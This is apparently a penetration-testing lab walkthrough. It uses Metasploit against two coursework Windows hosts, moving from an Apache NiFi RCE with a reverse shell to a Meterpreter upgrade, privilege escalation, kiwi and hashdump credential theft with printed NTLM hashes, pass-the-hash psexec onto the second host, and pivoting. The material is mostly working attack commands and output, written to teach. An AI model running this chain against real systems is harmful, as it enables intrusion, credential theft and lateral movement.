The best way I’ve found to make Metasploit stick is to practice with it as if you’re using it on an actual engagement. Recently, some coursework with a two-box Windows lab provided the opportunity to do just that.
Scope: Two Windows hosts on the same internal segment:
WK03 (192.168.124.225)
WK04 (192.168.124.226).
The Kali box is at 192.168.45.165 (tun0).
1. Start with a workspace, not a mess
Before doing anything, create a workspace. Everything Metasploit discovers- hosts, services, creds, loot- gets written to its database, and workspaces keep one engagement’s data separated from others. First, make sure the database is connected, then create a new workspace:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > workspace -a itwk_lab
[*] Added workspace: itwk_lab
[*] Workspace: itwk_lab
If db_status says you’re not connected, exit, run sudo msfdb init once, and relaunch.
2. Scan straight into the database
Make use of the db_ wrapper on nmap so results persist in the workspace:
msf6 > db_nmap -sV -p- 192.168.124.225 192.168.124.226With that, you can query what came back from the database and easily reference it later rather than re-reading raw output. Database commands like services and hosts are your friends here:
msf6 > services
host port proto name info
---- ---- ----- ---- ----
192.168.124.225 135 tcp msrpc Microsoft Windows RPC
192.168.124.225 139 tcp netbios-ssn
192.168.124.225 445 tcp microsoft-ds
192.168.124.225 5985 tcp http Microsoft HTTPAPI httpd 2.0
192.168.124.225 5986 tcp ssl/wsmans
192.168.124.225 8080 tcp http Jetty 9.4.48.v20220622
192.168.124.226 135 tcp msrpc Microsoft Windows RPC
192.168.124.226 139 tcp netbios-ssn
192.168.124.226 445 tcp microsoft-ds
192.168.124.226 5985 tcp http Microsoft HTTPAPI httpd 2.0
192.168.124.226 5986 tcp ssl/wsmans
The two hosts scanned are near-identical with a typical Windows management surface (RPC, NetBIOS, SMB, WinRM). Except WK03 has one extra thing: something on port 8080 behind Jetty. Asymmetry like that is nearly always the entry point (for labs, at least). In any event, enumeration is as much about noticing what’s different as cataloguing what’s there.
Quick trick: most database commands can populate
RHOSTSfor you. For example,services -p 8080 --rhostssetsRHOSTSto every host with 8080 open, so you save time typing target IPs you’ve already discovered.
3. Land the foothold
On to the foothold. Jetty is just an embedded servlet container, so it isn’t the target in and of itself; the app running on top of it is. Browsing to http://192.168.124.225:8080 redirects to /nifi, an Apache NiFi instance. To fingerprint the version of NiFi, you can query this endpoint:
curl -sk http://192.168.124.225:8080/nifi-api/flow/aboutFrom there, we can start searching for potentially relevant modules. This part, like any enumeration, is cyclical: search, read, check, run.
msf6 > search nifi
msf6 > use exploit/multi/http/apache_nifi_processor_rce
msf6 exploit(...) > info
...It’s worth not skipping the info step here. It will often reveal crucial information to stop you from heading down the wrong path. In this instance, one thing mattered quite a bit. The module splits “available targets” by OS. This is a Windows host, but the module sets the default to Unix and it is not immediately clear from the show options page that this can be switched. To switch to Windows run set target 1.
msf6 exploit(...) > services -p 8080 --rhosts
msf6 exploit(...) > set RPORT 8080
msf6 exploit(...) > set target 1
msf6 exploit(...) > check
[+] The target appears to be vulnerable.
Staged vs. non-staged payloads
A quick aside on payloads. Metasploit payloads come either staged or non-staged.
Staged means a small stager is sent that connects back to the attacking machine and then pulls the rest of the payload into memory. These are denoted with “/shell/ in the module paths: .../shell/reverse_tcp).
Non-staged, on the other hand, sends everything in one shot and these are written with an “shell_” in the module path: .../shell_reverse_tcp).
Staged is smaller and squeezes into tight exploits; non-staged is chunkier but more reliable when space isn’t the constraint. For a roomy web RCE, either is fine:
msf6 exploit(...) > set payload windows/x64/shell/reverse_tcp
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > run
[*] Command shell session 1 openedSetting
LHOSTto the interface name (tun0) rather than a hard IP is a nice habit; it survives your VPN address changing.
4. Sessions and jobs (and the channels hiding inside them)
You now have a session. Three related ideas are worth keeping straight here because they are easy to conflate.
Sessions are the top-level footholds, generally one per compromised host, each its own connection:
msf6 > sessions -l # list
msf6 > sessions -i 1 # interact with session 1
msf6 > sessions -k 1 # kill itThat NiFi RCE landed a raw command shell, not Meterpreter. Almost every post-exploitation module needs Meterpreter, so it will need to be upgraded:
msf6 > sessions -u 1
[*] Meterpreter session 2 openedJobs are things running in the background, like listeners. Exploits or handlers can be launched with the tag -j and it will run in the background and return your prompt straight away so you can get on with other things while you wait:
msf6 exploit(...) > run -j
msf6 > jobs # list background jobsChannels live inside a single Meterpreter session. Meterpreter multiplexes several streams over one connection. When you drop into a shell from Meterpreter, background it, and open another, those are channels within the one session, not new sessions:
meterpreter > shell
Process 4120 created. Channel 1 created.
^Z
Background channel 1? [y/N] y
meterpreter > channel -l # list channels in this session
meterpreter > channel -i 1 # re-enter channel 1The mental model:
session = a whole compromised host;
channel = one stream of activity within a session;
job = something ticking away in the background of the console.
5. Know who you are
Post-exploitation starts with orientation. Who am I, and what can I do?
meterpreter > getuid
Server username: WK03\alex
meterpreter > getprivs
...
SeImpersonatePrivilege
...alex is a normal account, not SYSTEM, so we cannot read the SAM yet. But that privilege, SeImpersonatePrivilege, means the account can impersonate a token handed to a process it controls, which is a privilege escalation path to become SYSTEM. Spotting that one line is worth more than any scanner.
But let’s try the free option first:
meterpreter > getsystem
getsystemleans on named-pipe impersonation and I imagine would often come up empty on a patched box. But for the purposes of this post, it’s fine.
Two other Meterpreter moves are worth keeping in mind in terms of maintaining persistence and escalating privileges.
First, migrate moves your payload into another process, which is helpful if the one you exploited closes or looks suspicious to a defender hunting you and reviewing process lists.
Secondly, execute spawns a fresh process to migrate into if nothing suitable exists. The following command executes notepad but hides it from the user interface to create a new process for migration:
meterpreter > execute -H -f notepad.exe
Process 5200 created.
meterpreter > migrate 5200You can only migrate into a process at your integrity level or lower, so do this after you’re SYSTEM and your options open right up.
6. Loot the box
As SYSTEM, we can load the kiwi extension (i.e., Meterpreter’s Mimikatz) and pull what’s in memory:
meterpreter > load kiwi
meterpreter > creds_all # everything it can parse
meterpreter > lsa_dump_secrets # LSA secrets, where svc-account creds might be
meterpreter > lsa_dump_sam # local account hashes from the SAMcreds_allreads from LSASS process memory, so it will aggregate credentials for logged in or recently logged in users.lsa_dump_secretsreads the SECURITY hive, which can reveal service account passwords and cached domain credentials via the relatedlsa_dump_cache.lsa_dump_samreads the SAM hive and gives you NTLM hashes for local accounts, including accounts that have never logged in interactively.
For a Metasploit database-integrated way to grab the SAM hashes, consider using …/smart_hashdump:
meterpreter > bg
msf6 > use post/windows/gather/smart_hashdump
msf6 post(...) > set SESSION 2
msf6 post(...) > runsmart_hashdumpessentially does the same thing aslsa_dump_sambut with the added feature of writing results straight into the database.
It’s also worth noting that point is only true on a member host. On a Domain Controller, there is no meaningful local SAM so
smart_hashdumpwill pull domain hashes fromNTDS.dit. That’s somethinglsa_dump_samfrom kiwi can't do.
From here, you can read the table back:
msf6 > creds
public private realm private_type
------ ------- ----- ------------
cloudbase-init aad3b435b51404eeaad3b435b51404ee:fb056ea1f139dcf620c9bec859fe0f22 WK03 NTLM hash
wk04admin aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf WK03 NTLM hash
alex aad3b435b51404eeaad3b435b51404ee:5391f1724568f48a4aadba748109864c WK03 NTLM hash
Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hashReading a creds is, itself, a skill. Two of these are noise:
Administrator’s NT hash is
31d6...089c0, which is a well-known hash of an empty password, so that account is blank or disabled and useless; andalex is just the account you already owned.
cloudbase-init is a cloud-provisioning artefact.
The one that matters is wk04admin. The name is a breadcrumb; it’s the admin account destined for the other box. If we check systeminfo on the current compromised machine, we see it is denoted with wk03.
Two places your loot lives, which can easily be conflated:
The creds table is the structured, query-able set, for things like hosts, usernames, hashes, and cracked plaintext secrets once you have it.
The loot directory (files under
~/.msf4/loot/) holds the raw artefacts, SAM and secrets dumps from kiwi.
Be aware that the kiwi commands print to your console but don’t always push into the creds table, whereas smart_hashdump does. So run creds and confirm what actually landed before you rely on it.
7. Reuse to the second box
wk04admin’s hash is the key to WK04. Before going gun’s blazing, validate it actually authenticates on that target with a scanner:
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(...) > set RHOSTS 192.168.124.226
msf6 auxiliary(...) > set SMBUser wk04admin
msf6 auxiliary(...) > set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 auxiliary(...) > set SMBDomain .
msf6 auxiliary(...) > run
[+] 192.168.124.226:445 - Success: '.\wk04admin:...'The SMBDomain . matters here. The dot means “authenticate this account as local to the target,” which is what you want against standalone workstations rather than a domain. The full hash can be passed directly so no cracking is needed, because NTLM auth accepts the hash (i.e., pass-the-hash).
Keep in mind that a successful smb_login gives you an SMB session, not a shell. It’s proof the hash works, and you can browse shares, but it isn’t command execution. To actually own the box, in this case, use psexec:
msf6 > use exploit/windows/smb/psexec
msf6 exploit(...) > set RHOSTS 192.168.124.226
msf6 exploit(...) > set SMBUser wk04admin
msf6 exploit(...) > set SMBPass aad3b435b51404eeaad3b435b51404ee:445414c16b5689513d4ad8234391aacf
msf6 exploit(...) > set SMBDomain .
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > set LPORT 4455
msf6 exploit(...) > run
[*] Meterpreter session 4 opened (NT AUTHORITY\SYSTEM @ WK04)Don’t forget to update LPORT to avoid colliding with the handler still tied to your WK03 session. And because wk04admin is an administrator, psexec drops straight into a SYSTEM context.
8. Going deeper: pivoting
This lab was two flat boxes on the same segment, so no pivoting was needed. But if a target were to be hiding behind a foothold, on a network you can’t route to, a session is then the doorway.
autoroute teaches the framework to route an internal subnet, say 10.10.20.0/24, through your foothold:
msf6 > use post/multi/manage/autoroute
msf6 post(...) > set SESSION 4
msf6 post(...) > runMetasploit’s own modules can then reach that subnet. For external tools, stand up a SOCKS proxy and point proxychains at it (same idea as discussed in Port Forwarding & SSH Tunneling.
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set SRVHOST 127.0.0.1
msf6 auxiliary(...) > set VERSION 5
msf6 auxiliary(...) > run -jWith socks5 127.0.0.1 1080 in /etc/proxychains4.conf, anything can flow through the tunnel (e.g., sudo proxychains xfreerdp /v:10.10.20.40 /u:...).
For a single port instead of a whole subnet, portfwd from inside the session is lighter:
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.20.40One trap: a route only carries an already-established connection. If you exploit something through the pivot and want a session back, a reverse payload usually can’t find its way home because the deeper target has no route to you. With this in mind, use a bind payload (
windows/x64/meterpreter/bind_tcp) in those situations so you connect in over the route.

